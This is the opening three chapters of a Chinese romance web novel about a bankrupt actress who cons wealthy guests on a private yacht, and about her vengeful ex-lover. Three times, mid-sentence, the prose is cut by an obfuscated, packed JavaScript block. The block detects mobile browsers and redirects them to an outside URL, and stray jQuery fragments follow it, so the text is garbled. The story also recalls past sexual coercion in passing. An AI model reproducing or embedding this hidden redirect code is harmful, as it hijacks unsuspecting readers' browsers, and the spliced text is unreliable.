《乖乖,该还债了》
1. 第一章
打着秦明烟前任的名号捞钱时,薄黎也怎么也没想到,秦明烟会突然出现在这艘羲和号上。
直升机降落的声音盖过了拍卖师热情的叫价声,拍卖厅的大门被打开,几名训练有素的保镖簇拥着一道身形走上二楼。
昏暗的视野中,只能依稀看清被簇拥在正中央的是一名女人,微卷的长发散发出的高级光泽感,细长的高跟鞋从容走上楼梯,在名流云集的羲和号上,带着目空一切的资本。
她的出现立刻在宾客席上引起了激烈的讨论。
薄黎也紧紧地盯着楼梯的方向,手心冒出冷汗,开始微微发抖。
乔冉和几个朋友猜测了一圈,察觉到薄黎也的异常,好奇地拉了拉她的胳膊:“薄姐姐,你认识那个人吗?”
薄黎也动了动唇,脸色煞白,怎么也说不出话。
就算只是一个背影,她也能在第一眼就认出来那个人的身份。
——是秦明烟。
是她曾经被她用金钱圈养的前女友。
也是如今秦晟集团的掌权人。
过去这么多年,她甚至能清晰的记得在当年那个破旧的出租屋,在那张简陋的单人床上。
秦明烟满脸不情愿的挣扎,冰雪般的人将嘴唇咬出血,只为了忍下所有的声音。
而她埋着头,等待着秦明烟的自制力完全溃散,直到彻底撕开那副好学生温良恭谦的皮囊。
等秦明烟发烫地咬上来时,再一脚踩在秦明烟的脸上,开启新一轮的驯养:“得先让我高兴,教你的规矩都忘了?”
她已经记不清那时的秦明烟说了什么,只记得那双隐忍而又深沉的眼睛,在瞬间屈辱得发红,仿佛下一秒就要狠狠撕碎她的脖颈。
就跟当年她跟秦明烟提分手时看到的一样。
秦明烟,大概是恨透了她。
可是秦明烟为什么会突然来到这里?
羲和号是一轮大型的私人游艇,它的每一次出海将会持续一周的时间,驶向无人管辖的公海。一是为了欣赏美景,二是为了进行隐秘的拍卖。登船的人再不济也是身价过亿的商界新锐,因此,羲和号的船票在上流圈也被认定为是身份的象征。
走投无路之下,薄黎也好不容易从经纪公司老板的妹妹手里拐来船票,又放出秦明烟前任的消息为自己造势,才能在这个拍卖厅里获得一席之位。
可就在她即将得逞的时候,秦明烟却出现在了这里。
难道,秦明烟知道了?
一想到这个可能性,薄黎也的手温又低了几度,乔冉还在旁边满眼担忧地望着她:“薄姐姐?”
薄黎也的眼底有轻微的波动,余光扫过楼梯的方向,又渐渐归于平静:“我没有看清。”
她的脸色比一开始还要苍白,像是病了许久,如瀑的长发掩住清瘦的肩背,基础款的长裙和她身上淡雅疏离的气质融合在一起,给人一种好像随时都会消散的破碎感。
乔冉把那句‘我听她们说来人可能是秦明烟’给咽了回去,又拉着薄黎也开始询问起她想要的拍品。
薄黎也魂不守舍地待了十分钟,被场上新的拍卖物吸走视线。
是一幅青松白鹤图。
曾经挂在她妈妈琴房的青松白鹤图,当年挂在薄家时并不起眼,小时候她路过都不会多看一眼。
如今再见到旧物,一时有些恍惚,地面的那一串鹤爪中,还有她小时候偷偷画上去的一只。
这笔瑕疵在拍卖师嘴里,直接被说成是清朝某位二品大臣的孙女勾画的墨点,为这幅画再添了笔厚重的历史,起拍价直接被定在了五十万。
薄黎也听到起拍价就皱起了眉,却被乔冉误解成为钱发愁,开始竞拍时第一个举了牌。
“五十五万——”拍卖师声音的尾调拖长,尤其在看清乔冉的位置后,目光暗暗锁定。
后排相继有人举牌。
六十万、六十五万、七十万……
短短几分钟价格一路飙升到九十,乔冉紧追其后:“一百万。”
现场的气氛逐渐紧张,这幅画的起拍价本就虚高,到这个金额已经属于溢价,羲和号是乔家的产业,乔冉虽是旁支,这些人也愿意在第一场卖乔家小辈一个面子。
拍卖师等待片刻,向叫价过的宾客一一投去期待的目光,笑道:“还有没有先生女士想再加一次价?目前叫到一百万。”
她每落下一槌,就要重复询问一次,即将落下第三槌的时候,后排传来一道男声:“一百二十万。”
薄黎也皱了下眉,循着声音侧过头。
是一位身穿黑色套装的高大男人,耳朵上还带着专业的耳麦,他站在拍卖席旁,看身材打扮更像是一位保镖。
“这是代拍的吧?”戴舌钉的女孩猜测。
薄黎也反倒起了兴趣,但她还记得自己温柔体贴的人设,善解人意的劝道:“算了吧,对方看起来是有备而来。”
乔冉铁了心要拿到画:“一百二十五万。”
那人低声说了点什么,点头后再度举牌:“一百五十万。”
一百五十万在这场拍卖的价格并不算高,甚至进不了前五,但这幅明显带瑕疵的画并不值得这个价,大家看热闹不嫌事大,向乔冉投去目光。
乔冉不服气的加价:“一百五十五万。”
这一回,黑衣人直接道:“两百万。”
“疯了吧,两百万都能买半辆你上回看中的马丁了。”乔冉的朋友怕她犟着叫价,直接压住了她的手,同时看向薄黎也,“喂,你不说两句吗?”
薄黎也心有遗憾,但还是用那双忧郁的,浅淡的眸子对上乔冉的目光:“你的心意姐姐领了,别继续了,不值。”
她甚至抛出可以给私人微信的诱饵。
拍卖师在台上落下两百万的第一槌,乔冉看向薄黎也,坚持说:“我有钱的。”
薄黎也轻轻摇了下头,低声说:“乖一点,好吗?”
昏暗的视线中,她眼底的那层忧郁短暂的散去,仅仅只是一瞬,快得仿佛只是乔冉的错觉。
等那道目光重新黯淡下来时,拍卖师已经落下第三槌,宣布那位黑衣人得到了藏画。
这幅藏画后又竞拍了一个白玉瓶和一块藏表,而后,进入中场休息。
上半场的竞拍品可以在这时现场验货,乔冉糟糕的心情在加到薄黎也私人微信后放晴,高兴的翻开拍卖册让薄黎也挑选下半场喜欢的拍品。
按照薄黎也原本的计划,她应该在半场后就换个座位结交新的人,给自己多留条路。不过嘴上,她还是笑了笑,很淡然地说:“不用了,我并不是很喜欢这些东西。”
乔冉附和她:“下半场的珠宝首饰更多,我知道,你们艺术家都不喜欢那些东西。”
薄黎也强颜微笑。
船上的一个工作人员在这时走到乔冉面前,说是拍下藏画的人邀请她去后台。
乔冉眼睛一亮:“难道拍下画的人想转卖给我?”
工作人员不敢确定,礼貌的说:“乔小姐,您过去就知道了。”
乔冉当即邀请薄黎也同行:“薄姐姐,你跟我一块去吧,要是对方有转手的意向,就可以直接送给你了。”
那位工作人员也在这时候看向薄黎也:“薄小姐,您也一块吧。”
薄黎也仓皇地后退了一步,心中那股不好的预感越来越多,她还没想到合适的推辞,乔冉已经拉着她离席。
验收藏品的地方是单独的一个房间,薄黎也跟着乔冉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875559|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几乎横跨大半个羲和号,终于在一间不起眼的房间外看到了刚刚拍画的男人,果然是一名保镖。
工作人员敲了两下门:“二位随我进来吧。”
房间装修雅致,许是为了配合‘验货’的目的,刚进门便是一扇巨大的中式山水画屏风,隐隐约约透出里面的人。
那副画被展开挂在里边,买家正背对着她们,双排扣的收腰西装,搭配松石蓝的缎面长裙,低头品茶时,微卷的长发间透出一枚摇曳的钻石耳坠。
是个压迫感很强的女人。
那人放下茶盏,施施然问:“乔锦元是你堂姐?”
乔冉在快步走过去,这一刻,薄黎也却像是被钉在了原地。
薄黎也紧紧地,紧紧地盯着女人转过来的脸,一滴热汗瞬间从鬓角滚进她的左眼,烫得生疼。
乔冉正高兴的说明来意:“乔锦元确实是我堂姐,你认识她的话,可以把这幅画转卖给我吗?我朋友很喜欢,我想送给她当礼物。”
女人往薄黎也的方向瞥过来一眼,嘴角带着丝若有似无的笑意,眼神却是冰冷的:“她就是你要送礼的朋友?”
“是啊是啊,这位姐姐,你开个价吧。”女人显然认识羲和号的主人,乔冉在称呼上先示弱讨好,胜算很大。
画即将到手,薄黎也却高兴不起来。女人的脸对她而言实在是太过熟悉,即使相隔五年,那副出色的五官、那副清傲的姿态,甚至是耳后那一点红痣,都能在瞬间激起她的回忆。
她怎么会出现在羲和号上?
外界不是传言秦明烟秋季才会回国吗?
秦明烟细长的手指轻抬,身边的助理将画框从架子上搬下来,递到乔冉的手上:“我跟你姐姐是朋友,怎么能收你的钱?刚刚拍卖是一场误会,这画就当我送给你当见面礼了。”
乔冉大喜过望,连连道谢:“谢谢姐姐,还不知道你姓什么?我好跟我堂姐说一声。”
薄黎也把自己的掌心手心掐出了血,即使垂着眼也能清晰的感受到那道审度的视线。
她无比希望这个拍了又送的举动真是一场误会。
但很明显,落在她身上的那道视线印证着这一举动就是冲着她来的。
她如果没有出现,或许能相安无事,可她偏偏跟着乔冉来了。
女人薄唇轻动:“秦,秦明烟。”
乔冉听过船上流传的有关薄黎也前任的绯闻,下意识看向薄黎也。
秦明烟的高跟鞋响了两声,走到那副画前,骨节分明的手指在上面轻轻点了两下,意有所指:“你年纪还小,少跟来路不明的人来往。”
薄黎也轻蹙的眉眼在身边人直白的打量下显得格外脆弱,乔冉壮着胆为她说话:“秦姐姐,这是我朋友,你当着我的面这么贬低她真的很没有礼貌,请你跟她道歉。”
秦明烟对着这声‘道歉’短促地笑了声,并不跟乔冉计较,转而自上而下的打量了番薄黎也:“听说薄家破产了,你的姘头竟舍得让你到这儿来卖笑吗?”
乔冉回头,难以置信的看向薄黎也,下意识后退半步。
灯光明亮,照亮秦明烟身上的每一处细节,连西装上的每一寸褶皱散发着典雅矜贵的气息,像是一道楚河汉界,清晰的在她们之间划开。
秦明烟忽然恍然:“差点忘了,秦子旭现在正在精神病院自身难保。”
外界传言秦明烟上位后,对秦家人赶尽杀绝,竟是真的。
薄黎也脸色惨白:“乔冉还小,这件事我们可以回头再说。”
“不用了。”秦明烟似乎只为了提醒乔冉,对薄黎也如今的处境没有任何兴趣。她转身带着助理走了出去,声音带上冷意。
“毕竟,我们不是可以叙旧的关系。”
2. 第二章
薄黎也和乔冉重新回到了拍卖席。
台上的拍卖师一如既往的热情似火,激烈的竞拍好似与半小时前毫无不同。
但一切都不一样了。
无论是乔冉时不时向她投去的目光,还是秦明烟正在暗处观察她的可能,都让薄黎也如坐针毡。
毕竟,当年是她强迫秦明烟在先。
如今风水轮流转,薄家破产,而秦明烟在高中毕业后认祖归宗,又留学海外,短短几年就从群狼环伺的秦家脱颖而出,成为如今风光无限的接班人,登上沪城财富榜首。
薄黎也掩在袖口里的手越掐越深,就在即将出血之际,一只手忽然拉上了她的袖子,小声的唤了句:“薄姐姐?”
所有的情绪在眼底如潮水般退去,薄黎也清凌凌的眸光像是要落泪:“怎么了?”
乔冉年纪小藏不住事,终于在各个新闻里得到了答案:“我刚刚查了一下,秦子旭这些年花边新闻里从来没有过你,秦姐姐对你是不是有什么误会?”
薄黎也的情绪还沉浸在秦明烟的出现里,但她更不想提起旧事,尤其是跟秦子旭有关的部分,于是直截了当的对乔冉说:“我跟他不是很熟。”
“哈哈哈,我就知道是个误会嘛,刚刚真的要吓死我了,你这么好的人,怎么可能跟秦子旭那个人渣有关系呢。”乔冉边说边笑。
薄黎也不愿多提,后半场一直很安静。
结束拍卖后,薄黎也满脑子都是出现在船上的秦明烟,她的焦躁落在经纪人顾林的眼中,主动提出要帮薄黎也护理头发,这是女明星除了脸以外最重要的部分。
薄黎也躺在浴缸里,每一根发丝都被顾林揉进营养的发膜,辅以轻柔的按摩手法,莹润的发丝在灯光下如绸缎一般顺滑。
顾林看着这样的薄黎也,不禁心中惋惜。
薄黎也科班出身,第一部电视剧就获得最佳女主角的提名,那一届评选时,有位才艺双馨老艺术家需要退圈前的完美的谢幕,以至于错失了奖项。
被认可的演技和无可挑剔的脸,按理说就该顺风顺水,之后却沉寂许久。再后来薄黎也退学,又被全网真假难辨的舆论攻击,被打上风险艺人的标签后,资源自然而然就降了级,短短几年掉到十八线的位置,受尽当初同期艺人的粉丝谩骂。
顾林已经听说了秦明烟上船的事,半小时后,她在薄黎也耳边问:“我们要提前下船吗?”
薄黎也的眼皮颤了颤,没有睁开。
顾林又说:“那位秦总突然来羲和号,很可能已经知道你打着她前任的名义在这里社交,跟你结交的那些人都抱着揪秦总过往弱点的心思,就算你什么都不说,也站在了秦总的对立面,你就不怕她突然出现报复你?”
过往的枕边人最能了解一个人的秘密和弱点,秦明烟刚上位秦家不久,之前跟秦家交好的人都风声鹤唳,想要帮着秦家其他人东山再起。
因此,当秦明烟回国在即,当薄黎也打着秦明烟前任的名义踏入羲和号时,那些人一个个都扑了上来。
薄黎也能在他们的身上得到金钱与重回上流社会的入场券,他们也能从薄黎也这里获取秦明烟的弱点,本是两全其美的交换。
但这份两全其美,只存在于秦明烟出现之前。
顾林能想到的,薄黎也自然也能想到。
薄黎也笑了笑,说:“只要她回国,她都该来找我算账的,早一点晚一点并没有区别。”
顾林大薄黎也十几岁,考虑事情更为周全:“就不能去周旋一下吗?比如借这次船上的机会,你把那些为了套出秦明烟过往而跟你接触过的人,都告诉秦明烟,跟她示个好?”
薄黎也的笑容淡了些,摇头说:“顾姐,没必要的。”
顾林看出她心情不佳,没有再继续劝,打算等之后再提。
顾林走后,薄黎也做了一晚上有关秦明烟的噩梦。
醒来时,脸色不用特意修饰都十分惨白。梦里秦明烟对她的恨还如有实质,她躺在床上缓了很久,才终于平复下过快的心跳声。
好在新一天的开始不算太糟糕,乔冉邀请她共进早餐的消息已经躺在微信列表。
薄黎也回了一个‘好的’,并询问乔冉餐桌的位置。
乔冉很快发过来一个餐桌编号和开餐时间。
薄黎也抓紧时间洗漱,换了件素色的白T,搭配过膝的牛仔鱼尾裙。裙子的尺寸有点偏小,还好她最近控糖控油,顺利的拉上了拉链,在右腰侧用丝巾系了个精美的蝴蝶花结,小心机的拉长了她下半身的比例。
薄黎也对镜中的自己十分满意,在顾林老母亲似的唠叨下,前往餐厅。
还没进餐厅,她就被昨天聊过的人绊住脚,无非又是来试探她的态度,薄黎也脸上不动声色的迎合,等找到乔冉时,已经比约定的时间晚了七分钟。
“对不起啊,路上遇到熟人打了个招呼,就来晚了。”
乔冉指了指薄黎也对面的空位:“没关系的,还有人没到呢。”
薄黎也这才注意到除了乔冉和昨天戴舌钉的女孩,四人桌上还空着一个位置:“还有人要一块吗?”
“是啊,昨晚我回去的时候遇到了秦姐姐,特地跟她解释了你跟秦子旭的事情,她说许是她在国外的时候听错了,要来当面跟你赔礼道歉呢。”
薄黎也拿牛奶杯的手一抖,险些洒在餐桌上:“赔礼道歉?”
“是啊。”乔冉心虚的应了一声。秦明烟的原话是当面来核实,但在她眼里两者没什么差别,核实有误后总得道歉吧?
薄黎也艰难的露出一个微笑:“那个,其实我……”
“秦姐姐,这儿!”
座位被拉开,百达斐丽的手表在餐桌上发出好听的轻响,有点像前阵子被拍卖的弦音款式,只是表盘外圈不是薄黎也见过的白金钻石,而是更为娇贵的白玉。
显然是一款私人订制,却压下了百达斐丽表盘的张扬,更显内敛与含蓄。
这时候离开已经来不及,默默把‘我好像肚子有点疼先行离开’的话咽了回去,低头小口小口的喝着牛奶,努力降低自己的存在感。
殊不知落在乔冉这个小粉丝眼里,别提有多委屈,把活跃气氛的话题三两句转到薄黎也身上:“秦姐姐,你昨晚上核实了吗,薄姐姐不是那个秦子旭的前任吧?薄姐姐很早就出道了,连我姐姐也好几次夸过她演的戏呢,要是她跟秦子旭有牵扯,网上肯定传得沸沸扬扬了。”
乔冉的姐姐,即乔家如今的当家人,也是羲和号的主人。
“你姐姐看过她的戏?”秦明烟说着,不着痕迹地瞥了一眼薄黎也,略带嘲讽。
当然是假的,乔锦元比乔冉大了足足一轮,乔冉见她时不是在看财报就是在线上开会,哪有时间分给电视剧?
但乔冉有意想抬高薄黎也的身价,一本正经的应了声:“嗯。”
“可能是我记错了。”秦明烟云淡风轻的在早餐单子上打勾,递给旁边的服务员。
乔冉终于松了口气:“我就说嘛,哎呀,昨晚的画就当给薄姐姐的赔礼了,这不就是缘分嘛。”
秦明烟和薄黎也两个人都没说话,戴舌钉的女孩干巴巴的附和朋友:“是啊,缘分啊,哈哈,哈哈。”
餐桌上的气氛一时有些紧张,好在陆续有认出秦明烟的人过来客套的打招呼,秦明烟的回应很淡,点个头就已经算是给了面子,有些人甚至连一个余光都分不到。
直到她们点的餐被服务员端上来,秦明烟的脸色终于有了变化,眉心之间微微蹙起,引得那些人只能讪讪离开。
乔冉原本对秦明烟的身份地位没有什么太大的感觉,总归是她姐姐的好朋友,所以连让秦明烟道歉的话都说得出来。
如今一看,倒也有几分心虚:“秦姐姐,我叫你出来吃早餐,是不是打扰到你了啊?”
“不会,正好出来透透气。”秦明烟似乎是猜到了乔冉的顾虑,轻描淡写的把话题略过去,“我之前也回国过几次,只是暂时在国外长居。”
“嗯,也对。”乔冉点头,抱着一丝期待的问,“那你之前认识薄姐姐吗?”
秦明烟就是在这时看向了薄黎也,冷然的双眼直视向薄黎也,仿佛已经洞悉了一切。
看得薄黎也心中一紧。
秦明烟薄唇轻动:“我该认识她吗?”
薄黎也被她看得有些吃不下饭,但想到自己还要借跟秦明烟的过往留在这条船上,对秦明烟露出一个浅浅的笑。
“秦总识人无数,忘了我很正常,今天不就又认识了吗?”
秦明烟忽然就不说话了,她盯了薄黎也片刻,眼底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875560|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的警告几乎要化作实质。
用餐快结束的时候,那个戴舌钉的女孩拉着乔冉陪她去洗手间补妆,薄黎也想跟着一块去,秦明烟突然用指腹扣了两下桌面:“昨晚——”
乔冉以为秦明烟要私下跟薄黎也道歉,忙把薄黎也按坐回去:“薄姐姐,我陪她去就行了。”
两人走后,薄黎也发现秦明烟一动不动的盯着她,她能屈能伸,立刻坐正了身体:“你,有话要跟我说吗?”
秦明烟上学的时候就是同学里的异类,性情孤僻,对除了学习以外的事情概不关心。一场军训下来,薄黎也差点以为班里有个先天残疾的哑巴,无比热心的跑去班主任那儿拿了张她家设立的残障基金登记表,偷偷塞给秦明烟。
秦明烟当时看她的眼神就跟看智障似的,说了个:“滚。”
话虽难听,但声音意外的好听,就像午睡时听到的黄鹂鸟鸣,催得薄黎也飘飘欲仙。
薄黎也从此对秦明烟上了心,一下课就不厌其烦的骚扰秦明烟,往往她叫上三回秦明烟的名字,秦明烟才会搭理她一回。
因此,薄黎也还给秦明烟取了个专属的外号:三三。
如今‘三三’这个称呼已经不适合秦总,但秦明烟那点不搭理人的毛病依旧没有改。
对着秦明烟的那道眼神,薄黎也说话也不是,吃饭也吃不下,她等了会儿,打算立刻离开。
就在她起身要走的时候,秦明烟终于开了口:“薄黎也,你没听懂我昨晚的警告?”
薄黎也背对着她。
“乔冉不是你能糊弄的人,收起你那点龌龊的心思。”
薄黎也紧了紧手,转过头,依旧是那副温顺的模样:“是乔冉自己来找我的,你一定是误会了。”
秦明烟没有温度的反问:“这船上的其他人也是误会?”
很显然,秦明烟已经知道了船上流传的那则流言。薄黎也缓慢的垂了眼,仿佛下一秒就要哭出来。
秦明烟沉声:“这是最后一次。”
薄黎也怯弱地点了点头,心里却道,乔冉主动要约她,她很难拒绝小朋友的好意啊。
果然,乔冉和她的朋友折返回来时,提议要去甲板上拍照,薄黎也不想继续留在这儿面对秦明烟,答应了陪跟她们一块去。
乔冉自然是欢迎的,秦明烟的眼神却更冷了,那道目光一直若有似无的停在她的身后,令她如芒刺背。
好在她们即将要分别。
只是薄黎也还没来得及松一口气,在快走出餐厅的时候,秦明烟忽然叫住了乔冉,状若关心地问:“听你姐姐说你九月份要去北美求学?”
乔冉不明所以,应了个‘是’。
她们站在餐厅入口处闲聊,来来往往有认出秦明烟的,都下意识放慢了脚步。
秦明烟又问了乔冉的学校,乔冉如实答了,然后听秦明烟说:“我高中有个关系很好的朋友也去了你的学校,即将要读博了。”
‘很好的朋友’,薄黎也在一瞬间紧绷起,隐隐猜到秦明烟要说什么。
乔冉顺着秦明烟的话问:“秦姐姐,你朋友是什么专业的?”
“她啊,要继承家业,学的是金融。”秦明烟提起那个人,脸上罕见的流露出温柔,“高中的时候差点就考不上,天天被我压着学,后来跟我闹了别扭,很多年没联系了,这么多年,也就她这么一个敢折腾我了。”
又是好朋友,又是能被秦明烟亲自教导,连断联都能被说成是闹别扭,这个人的身份毋庸置疑。
那么,旁边的薄黎也岂不就是冒充的?
秦明烟还特意点了薄黎也:“薄小姐这么看着我做什么,难道你认识我朋友?”
薄黎也只能说:“不认识。”
秦明烟笑了:“我想也是。”
从秦明烟出现在羲和号上起的那把剑终于落了下来。
因为她不怀好意地再次回应了乔冉,所以秦明烟直接收回她在这船上最大的护身符——秦明烟前任的身份。
瞬间,那些被薄黎也用话语蒙骗搪塞过的人都朝她看过来。
隔着那一双双震惊与愤怒的眼睛,薄黎也看到秦明烟的目光落在她的脸上,半垂的睫毛遮着眼,神情冷漠。
就像曾经分手后,她冷眼旁观秦明烟被秦家人带走时一模一样。
3. 第三章
七年前,薄家正如日中天,财富一度登顶沪城金字塔尖。
薄黎也考进海川国际高中最好的常春藤班,班如其名便是为进入顶尖高校做准备,班里同学被分为两类。
一是成绩极为优越的特招生,二是家中有门路能直接铺路的二代们。
当年的海川国际中学里,学校的图书馆是薄家捐的,学校的实验楼是薄家资助的,就连学校为贫困生提供的留学资金也都是薄家负担的。
在这样的环境中,薄黎也在学校里几乎是众星捧月。
但同样的,她的一言一行都备受学校老师的关注,以至于她跟秦明烟的事,几乎不为人知。
所以当秦明烟亲口承认她的早恋对象在北美后,薄黎也几乎成了众矢之的,直到晚上乔冉被朋友带走喝酒,薄黎也以最快的速度回了房间。
顾林瞧见她气喘吁吁的样子就知道玩脱了,赶紧锁了门把她拉进最里面的房间:“怎么了?”
薄黎也简单把早上的事复述了一遍,下了定论:“他们得知自己上当受骗了,今晚肯定会来找我。”
顾林怎么也想不通事情为什么会发展成这样:“你不是说秦总是你前任吗?”
薄黎也捂着唇猛烈咳了几声,终于把气咳顺了,趴在桌上恹恹道:“她恨死我了,怎么会承认啊?难道我要告诉那些人秦明烟身上有多少颗痣这种隐秘的事情来自证吗?”
顾林:……
顾林当机立断:“今晚立刻下船。”
薄黎也吃了一惊,她指着窗户的方向:“你在说什么胡话,外面是公海啊,你想去喂鲨鱼还是喂虎鲸?”
顾林上前捂住薄黎也那张不吉利的嘴:“我会让苏总出面救你,羲和号周边跟着很多救生船,能保证我们顺利回到沪城。”
苏总,即华宸娱乐的总裁苏柠商。
也是薄黎也两张船票原本的主人。
薄黎也扒开顾林的手,虚心请教:“我都拐骗了苏总妹妹的船票,苏总为什么还会帮我们?”
顾林面无表情的用上尊称:“当然是因为您欠了她这么多钱,死在这儿会让她血本无归,您别忘了,您可是她这辈子最失败的一次投资。”
薄黎也揉揉被‘您’吓到的耳朵:“哦。”
差点忘了这件事了。
薄黎也当初签五十年的经纪死约的时候,找苏柠商要了一大笔资金,以偿还当时的部分债务。
漂亮的脸,科班出身的演技,从小教养的气质,再配上顾林这个金牌经纪人,苏柠商当年对她的期许甚至盖过了舒璇。
谁曾想这么多年过去,舒璇依旧大红大紫,薄黎也彻底成了笔赔本的买卖。
时间紧迫,顾林拿出手机就要打电话。
薄黎也却忽然摁住顾林的手背,仰着一张羸弱的脸问:“你现在就要给苏总打电话?”
“当然,我们现在就走。秦总还在船上,那些被你骗了的人迟早会来找你,你别忘了,我们在无人管辖的公海上。”顾林打在薄黎也的手背,语气难得严肃,“收一收你那套演技,别在我面前装可怜。”
薄黎也低头捂着自己的手背,像是听进去了。
顾林正要松开人,薄黎也的爪子又搭上来:“我现在还不能走。”
“不能走?”都火烧眉毛了还不走,顾林真的想敲开薄黎也脑子看看里面的构造。
“我要是走了,他们会觉得我确实跟秦明烟没关系,以后也会彻底拉黑我。我还怎么重新结交他们圈子的人,还怎么应付那些催债的人?”
顾林提高声音:“你到底是想重新结交他们圈子的人,还是想重新结交秦明烟?”
薄黎也皱了下眉,似乎不能理解顾林多此一问。
最后,她只说了句:“我心里有数。”
同一时间,羲和号最奢华的房间内,秦明烟翻阅着下一场拍卖的手册图,有一搭没一搭地跟对面的乔锦元,即羲和号的主人闲聊数句。
乔锦元提起秦明烟刚到手的竞标:“光纤芯片这类项目向来都是前期投入大,你这又是政府牵头的跨国合作项目,算上资金回款时间,也就赚个好名声。”
“我们是朋友,我可以给你交个底,你要的资金数量已经超过我们一开始的预期,竞标的时候我可是放弃了我们公司来帮你的,明烟,好名声你都赚了,总不能让我太吃亏吧?”
秦明烟莞尔:“我不会在首轮融资中让出这么大的比例,秦晟的项目,话语权必须在我手里。”
乔锦元沉默了。
秦明烟以诚相待:“听说你对NFT相关产业很感兴趣,正好,我有个朋友在伦敦研究过相关课题,比近两年的比特币还要高上……”
她伸出手,比了个数字。
乔锦元打量着面前的秦明烟,不满二十五岁就能把秦家收入囊中,外界传言是秦家前几年吞并了太多资产,胃口太大难以消化,才给了秦明烟有机可乘的机会。
如今看来,传言终究只是传言。
乔锦元语气高深:“年轻人,野心还是不要太大了。”
秦明烟轻勾唇角:“所以才要找稳妥的人合作。”
两人相视而笑,合作就此达成,乔锦元提起了另一件事,扔给秦明烟另一份文件:“这是船上那个小明星的背景,还挺出乎我意料的,我想也许你需要,就给你也准备了一份。”
秦明烟瞥了一眼,没打开:“你那个傻白甜的妹妹更需要它。”
乔锦元低笑了声:“小女孩青春期栽个跟头是好事,我插什么手?我就是觉得,你看起来好像并不了解她的事,那天我跟你打电话提到她,你不还以为她在北美吗?”
乔锦元一开始就知道薄黎也顶替了苏柠商上船,结合薄黎也曾经的家世,能猜到她上船的目的。
只是能填薄家窟窿的人可不多,那天秦明烟跟她谈合作,她就顺口提了一句。
没想到秦明烟第一句就是说薄黎也在北美。
甚至对全沪城都知道的薄家破产之事,毫不知情。
这得多深的过往,才能让秦明烟在争抢秦家的过程中,屏蔽所有薄家的信息,屏蔽所有跟薄家可能相关的产业?
乔锦元的身体向前倾,换上很亲近的语气:“我更好奇,你跟她真有过一段?”
秦明烟抬眼,眼神冷峻。
乔锦元大笑着举起双手,这时,门外传来她助理的敲门声,得到允许后,有人进来在她耳边低声说了些什么。
打开的门外传来嘈杂的声音,乔锦元走出去,看到船舱一层的某个房间外围了一圈又一圈的人。
而最中间站着的,是她们刚刚提过的薄黎也。
“……这是我们苏总给我的船票,你们可以打电话去核实。”
“之前冒名顶替的人都这么说,谁知道你上船是不是来偷东西的?还敢说自己跟秦明烟有关系,我看你就是个惯犯了。”
“走开!别拉我!”薄黎也的声音压抑着恐惧,被逼到护栏。
“现在的捞女胆子真是越来越大了,亏我以为她刚回国才面生,合着是个什么也不是的十八线,呸,说出去我都觉得晦气。”
下面的骂声此起彼伏,推攘间,薄黎也顺着楼梯往上逃,后面的富二代们跟着一块追,几次快要抓到时,后面的人总会放慢速度,像是猫抓老鼠似的戏耍人。
直到薄黎也逃到第五层,追上来的人看到走廊上的乔锦元和秦明烟,才意识到这是宾客禁止通行的顶层。
羲和号看似是一艘象征身份的豪华游轮,航线的风景令人趋之若鹜,但上船的人都得遵守它的规矩。它依仗的不单单是能举行拍卖会的财力,更是它背后的乔家。
越是有钱有权的地方,阶级就越是分明,丝毫做不了假。
乔锦元似乎并没有听到他们的动静,依旧淡漠的望着翻涌的海平面。她身边的秦明烟在这时候望向追上来的人,眸光很淡,却莫名威慑得众人都放轻了动作。
薄黎也抓住这个机会惊慌失措地往前跑,拉开和后面人的距离,直到离秦明烟三步远的距离,被安保拦下来。
薄黎也慌张的抓着安保拦在她面前的手臂,脸色惨白,腰上系花的丝巾散开,T恤的下摆已经被人拽出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875561|191889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,细腻的腰线若隐若现,像一只走投无路的小白兔,眼泪一滴接着一滴,沿着细长的脖颈缓缓滑下。
“秦……秦明烟……”
秦明烟的视线落在那截脆弱的、湿透了的脖子上,突然短促的笑了声:“想要我帮你?”
薄黎也的眼眶通红,嘴唇咬得紧紧的,红红的,控制不住的发着抖。
秦明烟掠过目光,望向她身后的人:“这是怎么回事?”
打头的男人,是在薄黎也上船后头一批献殷勤的人之一,名叫赵洋。他家依附于秦家,自从秦明烟上位后,很多业务被做了切割,才会在听说秦明烟曾经被甩过后积极的贴上去,好帮秦家其他人找秦明烟的弱点。
此刻面对秦明烟,赵洋那点嚣张的气焰熄灭下去,分外小心的说:“这个人偷船票上的船,还骗了我们很多人,不知道秦总跟她……”
薄黎也泪眼朦胧的望着秦明烟,直到传来两个冷冰冰的字:“不熟。”
男人激动得拍了下手:“那我们就按照船上的规矩处理了。”
